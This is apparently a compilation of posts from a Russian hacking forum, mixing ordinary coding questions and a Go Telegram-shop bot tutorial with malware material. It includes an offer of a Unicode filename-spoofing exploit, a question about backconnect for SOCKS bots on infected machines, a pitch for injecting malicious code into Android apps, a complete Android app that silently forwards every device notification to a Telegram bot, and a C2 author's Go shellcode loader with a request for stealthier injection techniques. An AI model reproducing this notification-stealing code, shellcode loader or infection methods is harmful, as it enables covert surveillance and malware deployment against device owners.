опцию import я не догоняю никак. Я уже все перепробовал а библиотеку читать не
хочет.
Обычные библиотеки jdk работают. Я использую Netbeans.
Я остановился на примере BreakAndContinue , он находится в папку control. Там
используется библиотека Range из net.mindview.util. При компиляции выдает
ошибку
Code:Copy to clipboard
java.lang.RuntimeException: Uncompilable source code - package net.mindview.util does not exist
Подскажите как использовать свою библиотеку?
Спасибо за ответ.
Переименовать файлов с Unicode эксплойт + сорс
пример: "read me exe.doc" файла запуск как exe
Извиняюсь за плохой русский!
цък
пасс: xss.is/
Интересует такой вопрос. Судя по объявлениям, всем нужен сокс бот с бекконектом. Но как сделать этот бекконект, я не понимаю и не нашел никаких статей на эту тему. Насколько удалось выяснить, это серверный скрипт, который выступает "переходником" между пользователем сокс-бота и зараженным сокс-ботом компьютером.
Нет ли где-нибудь в паблике статей/примеров (желательно, на php) этого самого бекконекта? Чтоб хотя бы разобраться в общих чертах, как такое делается.
Ктонить может привести пример структуры ORAddress в нотации ASN.1 или XML
по rfc3280 не получаеца создать
Вопрос к VB кодерам. Дайте пожалйсто пример кода что бы многопоточно (в 7 потоков) добавлять текст в List1. Я вообще не могу научится использовать эту API функцию. Шарился в гугле но что то не всё равно не получается
Добрый день.
Помогите пожалуйста написать на assembler программу для:
Деление модулей нормализованного и ненормализованного чисел, нулей,
бесконечных величин и их комбинаций с округлением до нуля
подскажите пжт, есть ли способы перехвата выводимого текста в стороннем java приложении ?
Наш способ:
1. Не использует баги или уязвимости андроида
2. Не предназначен для крякинга приложений (удаление рекламы, лицензии и
т.д.)
3. Предназначен для добавления вредоносного кода, без какого-либо
вмешательства в работу целевого
приложения или его внешний вид.
Недостатки текущего подхода
Способ внедрения вредоносного кода, с помощью декодирования приложения до
smali кода и его патчинг -
является единственным и широко практикуемым на сегодняшний день.
smali/backsmali - единственный
инструмент, используемый для этого. На основе него строятся все известные
инфекторы, например:
1.
2.
3.
4.
backdoor-apk
TheFatRat
apkwash
kwetza
Готов ответить на интересующие вас вопросы. Возможно мне это поможет найти коллег по цеху.
**Автор:zebra0_0
Источник: **https://xss.is
Всем привет. В этой статье хочу рассказать про принцип создание приложения на
Java для android устройств для удалённого получения уведомлений с телефона, и
самое главное дам практические пример кода с готовым приложением.
Учебные материалы:
Внимание: Это часть статьи состоит исключительно из материалов для чайников,
то есть новичков в java разработке(Это надо чтоб меня не просила толпа
новичков в лс помочь с установкой).
И так, любой java проект начинается с его создания, писать я буду в android
stuido так-как лучше пока ничего не придумали. В ней вам надо просто создать
"Empty Activity" на java.
Почему именно на Java? потому-что java это нативный язык для платформы
android, то есть android написан в какой-то части на java(Ещё на Kotlin) и не
нуждается в дополнительной установке.
Далее у вас откроется проект в кортом можно приступать к разработке.
Разбираю и объясняю создание проекта:
И так создание, Но перед тем как начать делать надо понять зачем оно вообще
надо:
Больше ничего в голову не приходит но если у вас есть свои идею жду в
комментариях
Разрешения:
Каждое приложения на android которое хочть что-то делает должно получать
разрешения на свою работу.
Для работы данного приложения на надо получить всего 2 разрешения, а имено:
XML:Copy to clipboard
<!-- Разрешение на доступ к интернету -->
<uses-permission android:name="android.permission.INTERNET" />
XML:Copy to clipboard
<!-- Разрешение на доступ к уведомлениям -->
<uses-permission android:name="android.permission.BIND_NOTIFICATION_LISTENER_SERVICE"/>
Важно: Запрос разрешения на доступ к уведомлениям не является автоматическим и
не запрашивается у пользователя одной кнопкой, для того чтоб его получить надо
перенаправить пользователя в настройки где ему уже в свою очередь надо
поставить галочку/переключатель на против приложения(Код для этого оставлю
ниже).
Фото пример:
Принцем работы:
Данное приложения если говорить более правильно имеет цель автоматического
прослушивания уведомлений, получаемых от других приложений на устройстве
Android, и отправки их содержимого через Telegram-бота по вашему chat id.
Из чего состоит:
Приложение состоит из 2х java классов, в моём случаи это: MainActivity.java и MyNotificationListenerService.java
Click to expand...
**
Создание приложения:**
Для работы данного приложения надо добавь библиотеку okhttp3 в зависимости
файла build.gradel.kts.
okhttp3 - это популярная библиотека для работы с HTTP-запросами на
платформе Java и Android. Она позволяет удобно отправлять запросы к серверу и
обрабатывать ответы.
Build.gradel.kts - это файл конфигурации сборки, используемый в проектах,
основанных на Gradle, с синтаксисом Kotlin. Gradle — это система автоматизации
сборки, которая управляет зависимостями, компиляцией кода, тестированием и
другими аспектами процесса сборки приложения. С помощью build.gradle.kts вы
можете настроить, как ваше приложение будет строиться и какие зависимости
будут использоваться.
добавлять его надо потому-что okhttp3 это не встроенная библиотека java.
Структура классов:
MainActivity.java:
Код + объяснение:
1.Импотры:
Java:Copy to clipboard
import android.app.Activity;
import android.content.Context;
import android.content.DialogInterface;
import android.content.Intent;
import android.os.Bundle;
import android.provider.Settings;
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import androidx.appcompat.app.AlertDialog;
В этом блоке мы импортируем необходимые классы и библиотеки, которые будут использоваться в приложении. Это включает классы для работы с активностями, диалогами, уведомлениями и логированием.
2. Определения класса MainActivity:
Java:Copy to clipboard
public class MainActivity extends Activity {
Тут мы объявляем класс MainActivity, который наследуется от класса Activity. Это основная точка входа в приложение и отвечает за его пользовательский интерфейс и логику.
3. Метод onCreate():
Java:Copy to clipboard
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
Метод onCreate() вызывается при создании активности. Здесь мы инициализируем
активность и выполняем первоначальную настройку.
4. Проверка доступа к уведомлениям:
Java:Copy to clipboard
if (!isNotificationServiceEnabled()) {
promptNotificationAccess();
} else {
// Запуск сервиса для прослушивания уведомлений
Intent intent = new Intent(this, MyNotificationListenerService.class);
startService(intent);
finish(); // Закрыть активность только после запуска службы
}
Пояснение :
5. Метод для проверки доступа к уведомлениям:
Java:Copy to clipboard
private boolean isNotificationServiceEnabled() {
String enabledListeners = Settings.Secure.getString(
getContentResolver(),
"enabled_notification_listeners"
);
String packageName = getPackageName();
return enabledListeners != null && enabledListeners.contains(packageName);
}
Этот метод проверяет, включен ли наш сервис слушателя уведомлений. Он
извлекает список включенных слушателей и проверяет, есть ли среди них имя
пакета нашего приложения.
6. Метод для отображения диалога с запросом доступа:
Java:Copy to clipboard
private void promptNotificationAccess() {
AlertDialog.Builder builder = new AlertDialog.Builder(this);
builder.setTitle("Требуется доступ к уведомлениям");
builder.setMessage("Приложению необходимо разрешение на доступ к уведомлениям для работы.");
// Кнопка для перехода в настройки
builder.setPositiveButton("Настройки", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
Intent intent = new Intent(Settings.ACTION_NOTIFICATION_LISTENER_SETTINGS);
startActivity(intent);
}
});
// Кнопка отмены
builder.setNegativeButton("Отмена", new DialogInterface.OnClickListener() {
@Override
public void onClick(DialogInterface dialogInterface, int i) {
dialogInterface.dismiss();
finish(); // Закрыть активность, если пользователь отменил
}
});
// Показываем диалог
AlertDialog dialog = builder.create();
dialog.show();
}
Этот метод создает и отображает диалоговое окно, в котором пользователь получает информацию о необходимости предоставления разрешения на доступ к уведомлениям.
В диалоге есть две кнопки:
Класс MainActivity структурирован для выполнения четких и логических задач. Он отвечает за проверку разрешений и запуск службы для прослушивания уведомлений. Это делает код более понятным и управляемым, а также позволяет легко добавлять новые функции в будущем.
MyNotificationListenerService.java :
**Этот класс является вложенным классом в MainActivity и наследуется от
NotificationListenerService. Он отвечает за получение уведомлений, извлечение
их содержимого и отправку данных через Telegram-бота.
Java:Copy to clipboard
import android.service.notification.NotificationListenerService;
import android.service.notification.StatusBarNotification;
import android.util.Log;
import java.io.IOException;
import okhttp3.Call;
import okhttp3.Callback;
import okhttp3.MediaType;
import okhttp3.OkHttpClient;
import okhttp3.Request;
import okhttp3.RequestBody;
import okhttp3.Response;
2. Объявление класса и констант:
Java:Copy to clipboard
public class MyNotificationListenerService extends NotificationListenerService {
private static final String TAG = "NotificationListener";
private static final String BOT_TOKEN = "YOUR_BOT_TOKEN_HERE"; // Ваш токен Telegram бота
private static final String CHAT_ID = "YOUR_CHAT_ID_HERE"; // Ваш Chat ID для отправки сообщений
private static final String TELEGRAM_API_URL = "https://api.telegram.org/bot" + BOT_TOKEN + "/sendMessage";
3. Метод onCreate():
Java:Copy to clipboard
@Override
public void onCreate() {
super.onCreate();
Log.d(TAG, "Служба уведомлений запущена");
}
4. Метод onNotificationPosted(StatusBarNotification sbn):
Java:Copy to clipboard
@Override
public void onNotificationPosted(StatusBarNotification sbn) {
// Получаем уведомление
if (sbn.getNotification() != null) {
String packageName = sbn.getPackageName();
String title = sbn.getNotification().extras.getString(Notification.EXTRA_TITLE);
String text = sbn.getNotification().extras.getString(Notification.EXTRA_TEXT);
// Формируем сообщение
String message = "Новое уведомление!\n" +
"Приложение: " + packageName + "\n" +
"Заголовок: " + title + "\n" +
"Текст: " + text;
Log.d(TAG, message);
// Отправка уведомления в Telegram
sendNotificationToTelegram(message);
}
}
5. Метод onNotificationRemoved(StatusBarNotification sbn):
Java:Copy to clipboard
@Override
public void onNotificationRemoved(StatusBarNotification sbn) {
// Можно обрабатывать удаление уведомлений, если требуется
}
6. Метод sendNotificationToTelegram(String message):
Java:Copy to clipboard
private void sendNotificationToTelegram(String message) {
OkHttpClient client = new OkHttpClient();
// Формирование данных для отправки в Telegram
String json = "{\"chat_id\":\"" + CHAT_ID + "\", \"text\":\"" + message + "\"}";
RequestBody body = RequestBody.create(json, MediaType.parse("application/json"));
Request request = new Request.Builder()
.url(TELEGRAM_API_URL)
.post(body)
.build();
// Асинхронная отправка сообщения
client.newCall(request).enqueue(new Callback() {
@Override
public void onFailure(Call call, IOException e) {
Log.e(TAG, "Ошибка при отправке сообщения в Telegram: " + e.getMessage());
}
@Override
public void onResponse(Call call, Response response) throws IOException {
if (response.isSuccessful()) {
Log.d(TAG, "Уведомление успешно отправлено в Telegram");
} else {
Log.e(TAG, "Ошибка ответа от Telegram: " + response.body().string());
}
}
});
}
}
Каждая часть класса MyNotificationListenerService выполняет свою определенную
функцию, и вместе они обеспечивают возможность прослушивания уведомлений и их
отправки через Telegram. Такой подход облегчает дальнейшую разработку и
поддержку приложения, позволяя легко добавлять новую функциональность или
изменять существующую.
Как выгляди конечный результат:
Спасибо за внимание, надеюсь был полезен!
Hello everyone, I have a c2 that I have been programming for a while, it has many functions, traffic encryption with a random key per request, http or https as transport, generating shellcode, adding Word, Excel, etc. icons to Windows payloads, it is multiplatform, the question is, I want the opinion of all malware experts, if someone knows or recommends a good technique to inject the shellcode into memory that is not the traditional one, such as VirtualAlloc, VirtualProtect, WriteProcessMemory, etc and only using in memory techniques without read files, for example decrypting the shellcode using xor or aes in memory and inject after it., thank you and I await your recommendations or advice !
Code:Copy to clipboard
package main
/*
simple shellcode loader example
*/
import (
"unsafe"
"syscall"
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
)
func main() {
old := ""
shellcode := []byte{}
VirtualProtect.Call(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)), uintptr(0x40), uintptr(unsafe.Pointer(&old)))
syscall.Syscall(uintptr(unsafe.Pointer(&shellcode[0])), uintptr(0), uintptr(0), uintptr(0), uintptr(0))
}
_Автор:miserylord
Эксклюзивно для форума:
_xss.is
Хоу хоу хоу, miserylord снова на связи!
Эта статья посвящена созданию Telegram-ботов на Golang — фактически с полного нуля до готовой концепции на примере магазина игровых аккаунтов Roblox.
Я не нашел ни одного руководства в интернете, которое бы нормально объясняло процесс разработки, и решил написать его сам. Я видел видеоуроки, которые углубляются в архитектурные темы, разбивку на сущности и так далее, что вовсе не нужно, по крайней мере на начальном этапе. Также я видел видео, где создаются очень простые, но совершенно непрактичные боты.
**Проектирование
Компоненты**
В первую очередь разработка Telegram-бота начинается с определения его составных компонентов на уровне высоких абстракций.
По сути, Telegram-бот — это лишь посредник, прокси между сервером и клиентом. Следовательно, нам нужен клиент и сервер. Клиентом выступает сам Telegram (а также реализованный интерфейс бота в его экосистеме).
Итак, у нас есть:
Также нужно будет настроить сервер, на котором будет запущен бот.
Технологии
Теперь перейдем на уровень ниже и определим технологии, которые будут представлять наши сущности.
Telegram-бот может использовать готовую библиотеку, список которых доступен в официальной документации — Bot API Library Examples. Какую библиотеку следует использовать? Никакую. Я буду использовать нативный API — ядро Telegram. Библиотеки — это более высокоуровневые абстракции над нативным механизмом, Telegram API. С библиотеками есть несколько проблем: во-первых, их слишком много — около десяти рекомендованных. Можно выбирать по количеству звёзд на GitHub, но что, если самое гениальное решение получило наименьшее внимание? Следовательно, необходимо сравнить как минимум несколько, а лучше все. Сколько времени на это уйдёт? Если поверхностно — несколько часов, но что, если мы вообще не понимаем, как устроены Telegram-боты? В таком случае можно сравнивать их неделями. К тому же ни у одной библиотеки нет нормальной документации, которая бы упрощала работу. Документация Telegram API, хотя и недостаточно снабжена примерами, остаётся наиболее понятной из всех. Да, кода будет больше, но в процессе его написания мы сможем лучше понять, как работают механизмы. Какой смысл инкапсулировать что-то, не зная, как это работает? Впрочем, возможно, я чего-то не учёл.
База данных. Как выбрать между реляционной и нереляционной базой данных? Первые — это классические SQL, такие как MySQL и PostgreSQL. Вторые — так называемые NoSQL, например, MongoDB. Нереляционные базы данных предлагают главный плюс — гибкость. Реляционные базы данных требуют заранее прописанную структуру полей и отношений, что делает их менее интуитивными для пользователей, поскольку людям не свойственно мыслить связными таблицами. Казалось бы, очевидно, что гибкость в разработке логики базы данных, где можно добавлять поля по ходу работы, является преимуществом. Однако если не продумать архитектуру изначально, переписать логику впоследствии может потребоваться непредсказуемо много времени. SQL-базы данных масштабируются вертикально, а NoSQL — горизонтально. Иными словами, в SQL базах данных создаются больше таблиц, а в NoSQL — расширяются существующие записи. Также в NoSQL базах данных поддержка ACID либо отсутствует, либо реализована менее эффективно. ACID (атомарность, согласованность, изолированность, долговечность) обеспечивает выполнение транзакций, при которых либо выполняются все операции, либо не выполняется ни одна, и система возвращается к исходному состоянию. В NoSQL реализуется подход BASE, который делает упор на доступность в ущерб согласованности. Подробнее можно прочитать здесь: [Базы данных ACID и BASE — Разница между базами данных — AWS](https://aws.amazon.com/ru/compare/the-difference-between-acid-and-base- database/). Какую же базу данных выбрать для Telegram-бота? На самом деле любую. Любая популярная СУБД справится с задачей, например, для магазина аккаунтов Roblox. Будем использовать MongoDB.
Далее необходимо определиться с фреймворком для админского API. Язык разработки — Golang, выбор фреймворка — Gin. На самом деле, все фреймворки Golang для бэкенда одинаково просты. Такого, как PHP Laravel или JavaScript Nest, насколько я знаю, на данный момент нет, поэтому выбор пал на Gin. Это хороший фреймворк.
Осталось лишь определиться с фреймворком для клиентской части панели управления. На самом деле, можно выбрать любой популярный JavaScript фреймворк. Я воспользуюсь самым популярным — React. В качестве сборщика будет использоваться Vite.
В качестве сборщика всего проекта будет выступать Docker.
Логика
Далее необходимо определить логику проекта.
Она будет следующей: пользователь запускает бота и выбирает категорию товара. Возможно, в будущем мы расширим ассортимент, но пока что это будет только одна категория — Roblox. Далее пользователь выбирает подкатегорию, представляющую особенность аккаунта. После выбора подкатегории пользователь увидит цену товара и кнопки «Купить» и «Назад». Затем происходит выбор способа оплаты, процесс оплаты, проверка оплаты и выдача товара.
Остались неотвеченные вопросы: детали работы Telegram-бота, вид клавиатуры, приём оплаты. На них можно ответить сразу, можно расписать модели базы данных и логику до уровня методов. Однако можно приступать к разработке, решая проблемы по мере их появления. Приступаем к разработке.
**Разработка
Запуск Telegram-бота**
Существует два способа работы Telegram-бота в контексте получения сообщений — long polling и webhooks. По сути, они различаются методом приёма сообщений. Помните, что Telegram-бот выступает как прокси, которое хранит сообщения. Мы можем либо самостоятельно запрашивать новые сообщения с помощью long polling, либо Telegram-серверы будут отправлять их нам автоматически через webhooks. Преимущество первого способа — его простота имплементации по сравнению с webhooks, однако webhooks могут сэкономить ресурсы при масштабировании.
Мне нравится это сравнение (не обращайте внимания на то, что речь идёт о библиотеке на Python — это абсолютно не меняет сути). Оно поможет немного лучше понять разницу между этими двумя способами: [project-nashenas-telegram- bot/Long Polling vs. Webhook.md at main · pytopia/project-nashenas-telegram- bot · GitHub](https://github.com/pytopia/project-nashenas-telegram- bot/blob/main/Long%20Polling%20vs.%20Webhook.md).
Я выберу реализацию через long polling. Думаю, будет хорошим решением сначала реализовать всё через long polling, а потом, при необходимости, перейти на webhooks.
Для запуска Telegram-бота нам необходимо связаться с Telegram: Contact @BotFather, ввести команду /newbot, выбрать имя бота, затем указать юзернейм, который должен заканчиваться на _bot, и получить токен. Этот токен является ключом к вашему боту, и если кто-то получит доступ к нему, то сможет перехватить контроль над ботом.
Инициализируем проект бота. Создаем файл .env, записывая в переменную TOKEN полученный токен. Создаем папку config с файлом init.go.
C-like:Copy to clipboard
package config
import (
"log"
"os"
"github.com/joho/godotenv"
)
func GetTelegramBotToken() string {
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
token := os.Getenv("TOKEN")
return token
}
Подключаем библиотеку github.com/joho/godotenv, которая будет использоваться для работы с переменными окружения из файла .env. Функция GetTelegramBotToken загружает файл .env, читает из него переменную окружения TOKEN, которая должна содержать токен Telegram-бота, и возвращает его. Если файл .env не будет загружен, программа завершит работу с ошибкой.
В папке telegram создаем одноименные файл и пакет. Объявляем глобальную переменную (в рамках пакета) botToken, а также функцию, которая присваивает значение глобальной переменной botToken.
C-like:Copy to clipboard
package telegram
var botToken string
func InitBotToken(token string) {
botToken = token
}
В файле main.go в функции main проверяем, содержит ли файл .env токен для подключения, а также инициализируем переменную botToken для дальнейшего использования.
C-like:Copy to clipboard
package main
import (
"log"
"rtgbot/config"
"rtgbot/telegram"
)
func main() {
if config.GetTelegramBotToken() == "" {
log.Fatal("Environment variables TELEGRAM_BOT_TOKEN not set")
}
telegram.InitBotToken(config.GetTelegramBotToken())
}
На данный момент оставим код Telegram и начнем реализовывать код для API, в ходе которого добавим категории товаров.
Подключаем базу данных
Начнем интеграцию базы данных в приложение. Создаем и инициализируем проект в соседней директории, который будет API для работы с ботом через панель управления. Это отдельный проект, находящийся в отдельной директории от той, где реализуется сам бот.
На более позднем этапе можно будет вынести базу данных MongoDB в отдельный Docker-контейнер, но на данном этапе воспользуемся облачным сервисом MongoDB Atlas. Зарегистрируем аккаунт и создадим бесплатный кластер. Важно задать имя пользователя и пароль, а также открыть доступ к базе данных для тех IP- адресов, с которыми вы планируете работать. Если у вас динамический IP-адрес, можно открыть доступ для всех IP-адресов (0.0.0.0/0). В результате нужно получить ссылку формата: mongodb+srv://user:pass@cluster1337.1337.mongodb.net/?retryWrites=true&w=majority&appName=Cluster1337. Эту строку мы добавляем в файл .env. Также в .env добавляем две переменные: INITADMINUSER и INITADMINPASSWORD, например, со значениями admin/admin.
Мы защитим маршруты от несанкционированного использования, и это первый шаг к дальнейшей реализации этой логики.
Создаем папку config с файлом mongo.go. Устанавливаем несколько библиотек: уже знакомую нам github.com/joho/godotenv, а также go.mongodb.org/mongo- driver/mongo, go.mongodb.org/mongo-driver/bson и golang.org/x/crypto/bcrypt.
C-like:Copy to clipboard
//1
var Client *mongo.Client
//2
func InitMongoDB(uri string) error {
// 3
serverAPI := options.ServerAPI(options.ServerAPIVersion1)
opts := options.Client().ApplyURI(uri).SetServerAPIOptions(serverAPI)
// 4
client, err := mongo.Connect(context.TODO(), opts)
if err != nil {
return err
}
// 5
if err := client.Database("MasterDB").RunCommand(context.TODO(), bson.D{{"ping", 1}}).Err(); err != nil {
return err
}
fmt.Println("Pinged your deployment. You successfully connected to MongoDB!")
Client = client
// 6
databases, err := client.ListDatabaseNames(context.TODO(), bson.M{})
if err != nil {
return err
}
// 7
databaseExists := false
for _, dbName := range databases {
if dbName == "MasterDB" {
databaseExists = true
break
}
}
// 8
if !databaseExists {
err = client.Database("MasterDB").CreateCollection(context.TODO(), "initCollection")
if err != nil {
return err
}
fmt.Println("Database 'MasterDB' created successfully.")
err = client.Database("MasterDB").Collection("initCollection").Drop(context.TODO())
if err != nil {
return err
}
fmt.Println("initCollection deleted successfully.")
} else {
fmt.Println("Database 'MasterDB' already exists.")
}
// 9
adminCollection := client.Database("MasterDB").Collection("admin")
count, err := adminCollection.CountDocuments(context.TODO(), bson.M{})
if err != nil {
return err
}
// 10
if count == 0 {
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
username := os.Getenv("INITADMINUSER")
password := os.Getenv("INITADMINPASSWORD")
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return err
}
adminDoc := bson.D{
{Key: "name", Value: string(username)},
{Key: "password", Value: string(hashedPassword)},
{Key: "isAdmin", Value: true},
}
_, err = adminCollection.InsertOne(context.TODO(), adminDoc)
if err != nil {
return err
}
fmt.Println("Admin collection initialized with initial data.")
} else {
fmt.Println("Admin collection already initialized.")
}
return nil
}
Итого, мы инициализируем базу данных сразу с административными доступами.
В файле main.go на данный момент мы получаем переменную MONGO и инициализируем подключение.
C-like:Copy to clipboard
func main() {
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
mongoURI := os.Getenv("MONGO")
if mongoURI == "" {
log.Fatal("MONGO environment variable not set")
}
errInit := config.InitMongoDB(mongoURI)
if errInit != nil {
log.Fatalf("Failed to initialize MongoDB: %v", errInit)
}
}
Добавляем JWT-токен
Для защиты маршрутов (чтобы каждый встречный не смог добавить в бота любые товары) подключим JWT-токен. JWT-токен — это механизм, при котором пользователю выдается своего рода "карточка" с номером, который может расшифровать каждый (мы можем увидеть его содержимое). Представим, что мы выдали пользователю строку "белиберда", и с помощью простых действий каждый может понять, что это токен с правами просмотра информации, но без административного доступа. Более того, пользователь может попытаться изменить содержимое токена, например, сменив роль на административную. Однако в таком случае сервер при проверке увидит подделку. Валидация подделки осуществляется с помощью секретного ключа. На сайте jwt.io можно посмотреть, как это работает.
В файл .env добавим переменную JWTSECRET со значением м0йс3кр3тн3п0вт0р1м (да, в JWT-токены можно добавлять не только латинские символы).
Установим библиотеку github.com/gin-gonic/gin, которая, как мы ранее определили, будет выступать в качестве сервера. Для работы с JWT-токенами подключим github.com/golang-jwt/jwt.
В папке middleware создадим файл auth_middleware.go. Middleware — это функция- перехватчик, которая проксирует выполнение основной функции. В данном случае она будет навешана на маршруты, связанные с добавлением товаров, и будет проверять валидность токена.
C-like:Copy to clipboard
func AuthMiddleware() gin.HandlerFunc {
return func(c *gin.Context) {
tokenString := c.GetHeader("Authorization")
if tokenString == "" {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Authorization token required"})
c.Abort()
return
}
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
secretKey := os.Getenv("JWTSECRET")
if _, ok := token.Method.(*jwt.SigningMethodHMAC); !ok {
return nil, jwt.NewValidationError("invalid signing method", jwt.ValidationErrorSignatureInvalid)
}
return []byte(secretKey), nil
})
if err != nil || !token.Valid {
c.JSON(http.StatusUnauthorized, gin.H{"error": "Invalid token"})
c.Abort()
return
}
c.Next()
}
}
Функция проверяет наличие токена в заголовке запроса. Она разбирает токен с помощью библиотеки JWT и выполняет валидацию подписи токена с использованием секретного ключа из файла окружения. Если токен отсутствует, недействителен или имеет неправильный метод подписи, запрос блокируется и возвращается ошибка. Если токен корректен, запрос продолжает обрабатываться. Таким образом, это middleware гарантирует, что к защищённым маршрутам смогут получить доступ только пользователи с валидными JWT-токенами.
Маршрут для авторизации
Добавим маршрут для авторизации (получения JWT-токена), а также для смены пароля.
Мы будем использовать модель MVC. Начнем с определения моделей. Создадим папку models с файлом user.go.
C-like:Copy to clipboard
package models
type User struct {
Username string `bson:"name" json:"name"`
Password string `bson:"password" json:"password"`
}
type ChangePassword struct {
Username string `bson:"name" json:"name"`
OldPassword string `bson:"password" json:"password"`
NewPassword string `bson:"new_password" json:"new_password"`
}
Теги bson и json: Теги используются для управления тем, как Go-структуры сериализуются (преобразуются) и десериализуются при работе с MongoDB (через библиотеку BSON) и форматами JSON. Тег bson:"name" указывает, что поле будет храниться в базе данных MongoDB под указанным именем. Например, поле Username будет сохранено как "name". Тег json:"name" указывает, как это поле будет называться при обмене данными в формате JSON, например, при отправке данных в HTTP-ответах или запросах.
Создадим папку services с пакетом services и файлом auth_service.go. Этот сервис будет отвечать за взаимодействие с базой данных.
C-like:Copy to clipboard
// 1
type AuthService struct {
db *mongo.Database
}
// 2
func NewAuthService(db *mongo.Database) *AuthService {
return &AuthService{db: db}
}
// 3
func (s *AuthService) AuthenticateUser(ctx context.Context, name string, password string) (string, error) {
user := &models.User{}
err := s.db.Collection("admin").FindOne(ctx, bson.M{"name": name}).Decode(user)
if err != nil {
if err == mongo.ErrNoDocuments {
return "", errors.New("invalid username")
}
return "", err
}
err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password))
if err != nil {
return "", errors.New("invalid password")
}
token, err := generateJWT(name)
if err != nil {
return "", err
}
return token, nil
}
// 4
func (s *AuthService) ChangePassword(ctx context.Context, name string, password string, newPassword string) (string, error) {
user := &models.User{}
err := s.db.Collection("admin").FindOne(ctx, bson.M{"name": name}).Decode(user)
if err != nil {
if err == mongo.ErrNoDocuments {
return "", errors.New("invalid username")
}
return "", err
}
err = bcrypt.CompareHashAndPassword([]byte(user.Password), []byte(password))
if err != nil {
return "", errors.New("invalid current password")
}
hashedPassword, err := bcrypt.GenerateFromPassword([]byte(newPassword), bcrypt.DefaultCost)
if err != nil {
return "", err
}
_, err = s.db.Collection("admin").UpdateOne(ctx, bson.M{"name": name}, bson.M{"$set": bson.M{"password": string(hashedPassword)}})
if err != nil {
return "", err
}
return "password updated successfully", nil
}
// 5
func generateJWT(username string) (string, error) {
token := jwt.NewWithClaims(jwt.SigningMethodHS256, jwt.MapClaims{
"username": username,
"exp": time.Now().Add(time.Hour * 24 * 30).Unix(),
})
errLoad := godotenv.Load()
if errLoad != nil {
log.Fatal("Error loading .env file")
}
secretKey := os.Getenv("JWTSECRET")
tokenString, err := token.SignedString([]byte(secretKey))
if err != nil {
return "", err
}
return tokenString, nil
}
Контроллеры выполняют роль посредников между моделями и сервисами. Их задача — обрабатывать пользовательские запросы, выполнять необходимую бизнес-логику, взаимодействовать с моделями и передавать данные в сервисы для дальнейшего использования.
Далее создаём папку controllers с одноимённым пакетом и файлом auth_controller.go.
C-like:Copy to clipboard
// 1
type AuthController struct {
service *services.AuthService
}
// 2
func NewAuthController(service *services.AuthService) *AuthController {
return &AuthController{service: service}
}
// 3
func (ctrl *AuthController) Login(c *gin.Context) {
var input models.User
if err := c.ShouldBindJSON(&input); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
token, err := ctrl.service.AuthenticateUser(context.Background(), input.Username, input.Password)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"token": token})
}
// 4
func (ctrl *AuthController) ChangePassword(c *gin.Context) {
var input models.ChangePassword
if err := c.ShouldBindJSON(&input); err != nil {
c.JSON(http.StatusBadRequest, gin.H{"error": err.Error()})
return
}
response, err := ctrl.service.ChangePassword(context.Background(), input.Username, input.OldPassword, input.NewPassword)
if err != nil {
c.JSON(http.StatusUnauthorized, gin.H{"error": err.Error()})
return
}
c.JSON(http.StatusOK, gin.H{"response": response})
}
После этого остаётся лишь добавить маршрут. Создаём папку routes с пакетом routes и файлом auth_routes.go.
C-like:Copy to clipboard
func SetupAuthRoutes(router *gin.Engine, service *services.AuthService) {
controller := controllers.NewAuthController(service)
router.POST("/login", controller.Login)
router.POST("/change-password", middleware.AuthMiddleware(), controller.ChangePassword)
}
Функция SetupAuthRoutes принимает два аргумента: router — объект маршрутизатора от Gin, который управляет HTTP-запросами, и объект сервиса аутентификации. Внутри создаётся новый объект контроллера. Далее создаются маршруты: первый маршрут по адресу /login с ранее написанным функционалом для получения токена, второй маршрут для смены пароля с промежуточной функцией, которая валидирует токен. Миддлвер будет добавлен ко всем дальнейшим маршрутам.
Изменим файл main.go.
C-like:Copy to clipboard
db := config.Client.Database("MasterDB")
authService := services.NewAuthService(db)
router := gin.Default()
routes.SetupAuthRoutes(router, authService)
router.Run(":8083")
Подключаемся к базе данных MasterDB (созданной на этапе инициализации конфига). Создаём экземпляр сервиса аутентификации. Инициализируем новый объект маршрутизатора Gin с настройками по умолчанию. Вызываем функцию SetupAuthRoutes. Запускаем HTTP-сервер на порту 8083. Функция Run начинает прослушивание входящих HTTP-запросов. Приложение будет доступно по адресу localhost:8083.
Для тестирования запросов можно использовать Thunder Client в VS Code, а я воспользуюсь инструментом Postman. Создаём новую коллекцию, добавляем папку Auth и тестируем маршрут по адресу http://localhost:8083/login. Выбираем вкладку Body, далее — Raw, и передаём данные в виде JSON-объекта:
JSON:Copy to clipboard
{
{ "name": "admin",
"password": "admin" }
}
Если всё сделано правильно, в ответ получаем токен. Для тестирования дальнейших маршрутов необходимо добавить заголовок Authorization со значением токена. Для удобства можно вынести его в переменную (любой клиент поддерживает такую функциональность).
Именно такой процесс будет использоваться для добавления новых маршрутов. Давайте закрепим его на примере маршрута для добавления категорий.
Добавление категорий
Создаем модель в файле category.go. Определим модели для создания и обновления категорий.
C-like:Copy to clipboard
type Category struct {
CategoryName string `bson:"categoryName" json:"categoryName" unique:"true"`
}
type UpdateCategoryName struct {
CategoryName string `bson:"categoryName" json:"categoryName"`
NewName string `bson:"new_categoryName" json:"new_categoryName"`
}
После этого создаем файл cat_service.go и прописываем логику сервиса. Сервис для работы с категориями включает операции создания, чтения, обновления и удаления (CRUD) категорий.
C-like:Copy to clipboard
package services
import (
"apirtgbot/models"
"context"
"errors"
"go.mongodb.org/mongo-driver/bson"
